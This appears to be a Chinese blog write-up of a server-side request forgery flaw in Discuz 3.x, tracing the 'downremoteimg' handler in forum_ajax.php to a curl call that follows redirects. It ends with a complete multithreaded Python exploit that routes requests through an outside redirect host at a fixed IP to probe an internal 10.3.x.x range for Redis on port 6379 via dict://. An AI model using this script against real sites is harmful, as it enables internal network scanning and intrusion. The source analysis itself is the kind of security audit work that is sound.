discuz 3.x版本ssrf漏洞分析

  • 漏洞促发点\souce\module\forum\forum_ajax.php

    最后看到了这里

    $_GET['action']='downremoteimg'

    看名字看出应该是个远程下载图片的功能。
$_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
$temp = $aids = $existentimg = array();
if(is_array($image1) && !empty($image1)) {
foreach($image1 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
);
}
}
  • preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放的是边界符里面的东西。本地测试一下
<?php
$a="<script>alert('1')</script>";
preg_match_all("|<[^>]+>(.*)</[^>]+>|", $a, $array, PREG_SET_ORDER);
print_r($array);
?>

输出

Array
(
[0] => Array
(
[0] => <script>alert('1')</script>
[1] => alert('1')
) )
  • 所以上面的代码$value[1]的值就是把边界去掉后中间的值。继续跟进的话看到了关键代码
foreach($temp as $value) {
$imageurl = $value[1];
$hash = md5($imageurl);
//echo $imageurl;
if(strlen($imageurl)) {
$imagereplace['oldimageurl'][] = $value[0];
if(!isset($existentimg[$hash])) {
$existentimg[$hash] = $imageurl;
$attach['ext'] = $upload->fileext($imageurl);
echo $attach['ext'];
if(!$upload->is_image_ext($attach['ext'])) {
continue;
}
//echo $imageurl;
$content = '';
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
$content = dfsockopen($imageurl);

前面的fileext函数是匹配后缀必须为图片格式,下面看到了$content = dfsockopen($imageurl)我们跟进到这个函数,最后找到了这样的一段

function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype  = 'URLENCODE', $allowcurl = TRUE, $position = 0) {
$return = '';
$matches = parse_url($url);
$scheme = $matches['scheme'];
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80; if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
$ch = curl_init();
$ip && curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: ".$host));
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).':'.$port.$path);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
if($encodetype == 'URLENCODE') {
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
} else {
parse_str($post, $postarray);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postarray);
}
}

import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.3'
class WyWorker(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
global lock
while True:
if self.queue.empty():
break
try:
url = self.queue.get_nowait()
starttime = time.time()
results= requests.get(url)
if time.time() - starttime > 4:
starttime2=time.time()
res = requests.get(url)
if time.time() - starttime2 > 4:
lock.acquire()
print url
lock.release()
except requests.exceptions.ReadTimeout:
pass
except requests.exceptions.ConnectTimeout:
pass
except Exception, e:
break if __name__ == "__main__":
queue = Queue.Queue()
global lock
lock = threading.Lock()
for c in xrange(0,255):
for d in xrange(0,255):
ip = '{0}.{1}.{2}'.format(ip_block,c,d)
payload = 'http://115.159.115.41:2333/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(scheme=scheme,ip=ip,port=port)
url = "http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(payload=payload)
queue.put(url)
threads = []
for i in xrange(threads_count):
threads.append(WyWorker(queue))
for t in threads:
t.start()
for t in threads:
t.join()

其实这次自己审这个洞,发现还是熟悉各种漏洞的成因,注意用户的输入。这方面必须加强。

最新文章

  1. macOS 升级到了10.12.1
  2. C#实现二叉树的各种遍历
  3. Spring事务解析2-标签解析
  4. docker跨容器之使用link大法通信
  5. webpack学习(入门基础)
  6. 用TextPaint来绘制文字
  7. [LeetCode]题解(python):039-Combination Sum
  8. Android Studio常见问题 -- AndroidManifest.xml 覆盖问题
  9. Javascript的匿名函数
  10. mongodb高级操作及在Java企业级开发中的应用
  11. 用原生js模仿jquery
  12. libcurl 使用的几个注意事项
  13. JDBC-ODBC桥连接方式操纵SQL数据库
  14. jquery的2.0.3版本源码系列(7):3043行-3183行,deferred延迟对象,对异步的统一管理
  15. HTML5新特性之WebRTC[转]
  16. spark-2.4.0-hadoop2.7-高可用(HA)安装部署
  17. unittest同时支持参数化和生成html报告
  18. Ubuntu 普通用户无法启动Google chrome
  19. A2D JS框架
  20. mysql数据库定义某字段为唯一约束

热门文章

  1. Linux-DHCP服务器的搭建
  2. C语言中的指针(二)
  3. BZOJ-4819: 新生舞会(01分数规划+费用流)
  4. poj1191棋盘分割——区间DP
  5. sublime text3设置
  6. [51nod1102]面积最大的矩形(单调栈||预处理)
  7. 将Opencv java中的Mat通过jni传递到C++中的方法
  8. 微软 Remote App
  9. Centos7.1下Docker的安装-yum方法
  10. Python绘制正态分布曲线